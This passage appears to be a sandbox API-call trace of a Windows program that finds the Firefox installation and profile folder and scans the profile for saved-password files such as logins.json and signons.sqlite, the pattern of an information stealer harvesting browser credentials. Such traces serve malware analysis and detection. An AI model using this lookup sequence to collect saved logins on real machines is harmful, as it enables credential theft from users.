returned="Software\\Mozilla\\Firefox\\" [0048.052] lstrlenA (lpString="Software\\Mozilla\\Firefox\\") returned 25 [0048.052] lstrlenA (lpString="TaskBarIDs") returned 10 [0048.052] LocalAlloc (uFlags=0x40, uBytes=0xa4) returned 0x754820 [0048.052] lstrcpyA (in: lpString1=0x754820, lpString2="Software\\Mozilla\\Firefox\\" | out: lpString1="Software\\Mozilla\\Firefox\\") returned="Software\\Mozilla\\Firefox\\" [0048.052] lstrcatA (in: lpString1="Software\\Mozilla\\Firefox\\", lpString2="TaskBarIDs" | out: lpString1="Software\\Mozilla\\Firefox\\TaskBarIDs") returned="Software\\Mozilla\\Firefox\\TaskBarIDs" [0048.052] LocalFree (hMem=0x7588c8) returned 0x0 [0048.052] StrStrIA (lpFirst="Software\\Mozilla\\Firefox\\TaskBarIDs", lpSrch="Firefox") returned="Firefox\\TaskBarIDs" [0048.052] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20019, phkResult=0xefb98 | out: phkResult=0xefb98*=0x398) returned 0x0 [0048.052] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb90, lpData=0x0, lpcbData=0xefb94*=0x7 | out: lpType=0xefb90*=0x0, lpData=0x0, lpcbData=0xefb94*=0x0) returned 0x2 [0048.052] RegCloseKey (hKey=0x398) returned 0x0 [0048.052] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20219, phkResult=0xefb6c | out: phkResult=0xefb6c*=0x398) returned 0x0 [0048.052] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb64, lpData=0x0, lpcbData=0xefb68*=0xefb50 | out: lpType=0xefb64*=0x0, lpData=0x0, lpcbData=0xefb68*=0x0) returned 0x2 [0048.052] RegCloseKey (hKey=0x398) returned 0x0 [0048.052] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", ulOptions=0x0, samDesired=0x20119, phkResult=0xefb40 | out: phkResult=0xefb40*=0x0) returned 0x2 [0048.052] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75b090 [0048.052] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Firefox\\TaskBarIDs", phkResult=0xefbe4 | out: phkResult=0xefbe4*=0x398) returned 0x0 [0048.053] RegEnumKeyExA (in: hKey=0x398, dwIndex=0x0, lpName=0x75b090, lpcchName=0xefbdc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0xefbdc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0048.053] RegCloseKey (hKey=0x398) returned 0x0 [0048.053] LocalFree (hMem=0x75b090) returned 0x0 [0048.053] LocalFree (hMem=0x754820) returned 0x0 [0048.053] RegEnumKeyExA (in: hKey=0x394, dwIndex=0x1, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="TaskBarIDs", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0048.053] RegCloseKey (hKey=0x394) returned 0x0 [0048.053] LocalFree (hMem=0x75a808) returned 0x0 [0048.053] LocalFree (hMem=0x758820) returned 0x0 [0048.053] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x1, lpName=0x74ccd0, lpcchName=0xefc44, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox", lpcchName=0xefc44, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0048.053] lstrlenA (lpString="Software\\Mozilla") returned 16 [0048.053] lstrlenA (lpString="\\") returned 1 [0048.053] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x716ef8 [0048.053] lstrcpyA (in: lpString1=0x716ef8, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0048.053] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0048.053] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0048.053] lstrlenA (lpString="Mozilla Firefox") returned 15 [0048.053] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x754820 [0048.053] lstrcpyA (in: lpString1=0x754820, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0048.053] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Mozilla Firefox" | out: lpString1="Software\\Mozilla\\Mozilla Firefox") returned="Software\\Mozilla\\Mozilla Firefox" [0048.053] LocalFree (hMem=0x716ef8) returned 0x0 [0048.053] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox", lpSrch="Firefox") returned="Firefox" [0048.053] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox", ulOptions=0x0, samDesired=0x20019, phkResult=0xefbcc | out: phkResult=0xefbcc*=0x394) returned 0x0 [0048.053] RegQueryValueExA (in: hKey=0x394, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefbc4, lpData=0x0, lpcbData=0xefbc8*=0x7 | out: lpType=0xefbc4*=0x0, lpData=0x0, lpcbData=0xefbc8*=0x0) returned 0x2 [0048.053] RegCloseKey (hKey=0x394) returned 0x0 [0048.053] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox", ulOptions=0x0, samDesired=0x20219, phkResult=0xefba0 | out: phkResult=0xefba0*=0x394) returned 0x0 [0048.053] RegQueryValueExA (in: hKey=0x394, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb98, lpData=0x0, lpcbData=0xefb9c*=0xefb84 | out: lpType=0xefb98*=0x0, lpData=0x0, lpcbData=0xefb9c*=0x0) returned 0x2 [0048.053] RegCloseKey (hKey=0x394) returned 0x0 [0048.053] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox", ulOptions=0x0, samDesired=0x20119, phkResult=0xefb74 | out: phkResult=0xefb74*=0x0) returned 0x2 [0048.053] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75a808 [0048.053] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox", phkResult=0xefc18 | out: phkResult=0xefc18*=0x394) returned 0x0 [0048.053] RegEnumKeyExA (in: hKey=0x394, dwIndex=0x0, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="25.0 (en-US)", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0048.053] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox") returned 32 [0048.053] lstrlenA (lpString="\\") returned 1 [0048.053] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x7548d0 [0048.053] lstrcpyA (in: lpString1=0x7548d0, lpString2="Software\\Mozilla\\Mozilla Firefox" | out: lpString1="Software\\Mozilla\\Mozilla Firefox") returned="Software\\Mozilla\\Mozilla Firefox" [0048.053] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\") returned="Software\\Mozilla\\Mozilla Firefox\\" [0048.054] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\") returned 33 [0048.054] lstrlenA (lpString="25.0 (en-US)") returned 12 [0048.054] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7508d8 [0048.054] lstrcpyA (in: lpString1=0x7508d8, lpString2="Software\\Mozilla\\Mozilla Firefox\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\") returned="Software\\Mozilla\\Mozilla Firefox\\" [0048.054] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\", lpString2="25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0048.054] LocalFree (hMem=0x7548d0) returned 0x0 [0048.054] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpSrch="Firefox") returned="Firefox\\25.0 (en-US)" [0048.054] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", ulOptions=0x0, samDesired=0x20019, phkResult=0xefb98 | out: phkResult=0xefb98*=0x398) returned 0x0 [0048.054] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb90, lpData=0x0, lpcbData=0xefb94*=0x7 | out: lpType=0xefb90*=0x0, lpData=0x0, lpcbData=0xefb94*=0x0) returned 0x2 [0048.054] RegCloseKey (hKey=0x398) returned 0x0 [0048.054] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", ulOptions=0x0, samDesired=0x20219, phkResult=0xefb6c | out: phkResult=0xefb6c*=0x398) returned 0x0 [0048.054] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb64, lpData=0x0, lpcbData=0xefb68*=0xefb50 | out: lpType=0xefb64*=0x0, lpData=0x0, lpcbData=0xefb68*=0x0) returned 0x2 [0048.054] RegCloseKey (hKey=0x398) returned 0x0 [0048.054] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", ulOptions=0x0, samDesired=0x20119, phkResult=0xefb40 | out: phkResult=0xefb40*=0x0) returned 0x2 [0048.054] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75b090 [0048.054] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", phkResult=0xefbe4 | out: phkResult=0xefbe4*=0x398) returned 0x0 [0048.054] RegEnumKeyExA (in: hKey=0x398, dwIndex=0x0, lpName=0x75b090, lpcchName=0xefbdc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Main", lpcchName=0xefbdc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0048.054] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned 45 [0048.054] lstrlenA (lpString="\\") returned 1 [0048.054] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x750820 [0048.054] lstrcpyA (in: lpString1=0x750820, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0048.054] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0048.054] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned 46 [0048.054] lstrlenA (lpString="Main") returned 4 [0048.054] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x756820 [0048.054] lstrcpyA (in: lpString1=0x756820, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0048.054] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\", lpString2="Main" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main" [0048.054] LocalFree (hMem=0x750820) returned 0x0 [0048.054] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main", lpSrch="Firefox") returned="Firefox\\25.0 (en-US)\\Main" [0048.054] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main", ulOptions=0x0, samDesired=0x20019, phkResult=0xefb64 | out: phkResult=0xefb64*=0x39c) returned 0x0 [0048.054] RegQueryValueExA (in: hKey=0x39c, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb5c, lpData=0x0, lpcbData=0xefb60*=0x7 | out: lpType=0xefb5c*=0x1, lpData=0x0, lpcbData=0xefb60*=0x33) returned 0x0 [0048.054] LocalAlloc (uFlags=0x40, uBytes=0xb4) returned 0x7568e0 [0048.054] RegQueryValueExA (in: hKey=0x39c, lpValueName="PathToExe", lpReserved=0x0, lpType=0x0, lpData=0x7568e0, lpcbData=0xefb60*=0x33 | out: lpType=0x0, lpData=0x7568e0*=0x43, lpcbData=0xefb60*=0x33) returned 0x0 [0048.054] RegCloseKey (hKey=0x39c) returned 0x0 [0048.054] lstrlenA (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned 50 [0048.055] lstrlenA (lpString="") returned 0 [0048.055] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x7569a0 [0048.055] lstrcpyA (in: lpString1=0x7569a0, lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" [0048.055] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", lpString2="" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" [0048.055] lstrlenA (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned 50 [0048.055] StrStrIA (lpFirst="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", lpSrch=".exe") returned=".exe" [0048.055] StrRChrIA (lpStart="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", lpEnd=0x0, wMatch=0x5c) returned="\\firefox.exe" [0048.055] lstrlenA (lpString="C:\\Program Files (x86)\\Mozilla Firefox") returned 38 [0048.055] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0048.055] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0048.055] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0048.055] lstrlenA (lpString="\\Mozilla\\Firefox\\") returned 17 [0048.055] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x74a670 [0048.055] lstrcpyA (in: lpString1=0x74a670, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0048.055] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.055] LocalFree (hMem=0x7469f0) returned 0x0 [0048.055] GetFileAttributesA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox")) returned 0x2010 [0048.055] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox" (normalized: "c:\\program files (x86)\\mozilla firefox")) returned 0x10 [0048.055] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 56 [0048.055] lstrlenA (lpString="") returned 0 [0048.055] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x74a738 [0048.055] lstrcpyA (in: lpString1=0x74a738, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.055] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.055] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 56 [0048.055] lstrlenA (lpString="profiles.ini") returned 12 [0048.055] LocalAlloc (uFlags=0x40, uBytes=0xc5) returned 0x745b68 [0048.055] lstrcpyA (in: lpString1=0x745b68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.055] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="profiles.ini" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" [0048.055] LocalAlloc (uFlags=0x40, uBytes=0xfe6a) returned 0x9401750 [0048.056] LocalAlloc (uFlags=0x40, uBytes=0x1080) returned 0x75e920 [0048.056] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles.ini"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0048.056] CloseHandle (hObject=0x39c) returned 1 [0048.056] GetPrivateProfileSectionNamesA (in: lpszReturnBuffer=0x9401750, nSize=0xfde8, lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" | out: lpszReturnBuffer="General") returned 0x11 [0048.057] StrStrIA (lpFirst="General", lpSrch="Profile") returned 0x0 [0048.057] StrStrIA (lpFirst="Profile0", lpSrch="Profile") returned="Profile0" [0048.058] GetPrivateProfileStringA (in: lpAppName="Profile0", lpKeyName="Path", lpDefault="", lpReturnedString=0x75e920, nSize=0xfff, lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" | out: lpReturnedString="Profiles/asmpdd98.default") returned 0x19 [0048.059] GetPrivateProfileIntA (lpAppName="Profile0", lpKeyName="IsRelative", nDefault=1, lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini") returned 0x1 [0048.060] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 56 [0048.060] lstrlenA (lpString="Profiles/asmpdd98.default") returned 25 [0048.060] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x74d860 [0048.060] lstrcpyA (in: lpString1=0x74d860, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.060] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="Profiles/asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles/asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles/asmpdd98.default" [0048.060] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.060] lstrlenA (lpString="\\*.*") returned 4 [0048.060] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x7469f0 [0048.060] lstrcpyA (in: lpString1=0x7469f0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.060] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\*.*" [0048.060] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\*.*", lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 0x72dc90 [0048.061] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.061] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0048.061] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.061] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.061] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0048.061] StrStrIA (lpFirst="addons.json", lpSrch="signons.sqlite") returned 0x0 [0048.061] lstrlenA (lpString="addons.json") returned 11 [0048.061] StrStrIA (lpFirst="addons.json", lpSrch="logins.json") returned 0x0 [0048.061] StrStrIA (lpFirst="addons.json", lpSrch="signons.txt") returned 0x0 [0048.061] StrStrIA (lpFirst="addons.json", lpSrch="signons2.txt") returned 0x0 [0048.061] StrStrIA (lpFirst="addons.json", lpSrch="signons3.txt") returned 0x0 [0048.061] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0048.061] lstrcmpiA (lpString1=".", lpString2="bookmarkbackups") returned -1 [0048.061] lstrcmpiA (lpString1="..", lpString2="bookmarkbackups") returned -1 [0048.061] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.061] lstrlenA (lpString="\\") returned 1 [0048.061] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x746ad0 [0048.061] lstrcpyA (in: lpString1=0x746ad0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.061] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.061] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.061] lstrlenA (lpString="bookmarkbackups") returned 15 [0048.061] LocalAlloc (uFlags=0x40, uBytes=0xe2) returned 0x74d998 [0048.061] lstrcpyA (in: lpString1=0x74d998, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.061] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="bookmarkbackups" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups" [0048.061] LocalFree (hMem=0x746ad0) returned 0x0 [0048.061] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups") returned 97 [0048.061] lstrlenA (lpString="\\*.*") returned 4 [0048.061] LocalAlloc (uFlags=0x40, uBytes=0xe6) returned 0x74da88 [0048.061] lstrcpyA (in: lpString1=0x74da88, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups" [0048.061] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups\\*.*" [0048.061] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups\\*.*", lpFindFileData=0xef894 | out: lpFindFileData=0xef894) returned 0x72dcd0 [0048.061] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.061] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef894 | out: lpFindFileData=0xef894) returned 1 [0048.061] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.061] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.061] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef894 | out: lpFindFileData=0xef894) returned 1 [0048.061] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="signons.sqlite") returned 0x0 [0048.061] lstrlenA (lpString="bookmarks-2017-06-30_5.json") returned 27 [0048.061] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="logins.json") returned 0x0 [0048.061] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="signons.txt") returned 0x0 [0048.061] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="signons2.txt") returned 0x0 [0048.061] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="signons3.txt") returned 0x0 [0048.061] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef894 | out: lpFindFileData=0xef894) returned 0 [0048.062] FindClose (in: hFindFile=0x72dcd0 | out: hFindFile=0x72dcd0) returned 1 [0048.062] LocalFree (hMem=0x74da88) returned 0x0 [0048.062] LocalFree (hMem=0x74d998) returned 0x0 [0048.062] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xef9fc | out: lpFindFileData=0xef9fc) returned 1 [0048.062] StrStrIA 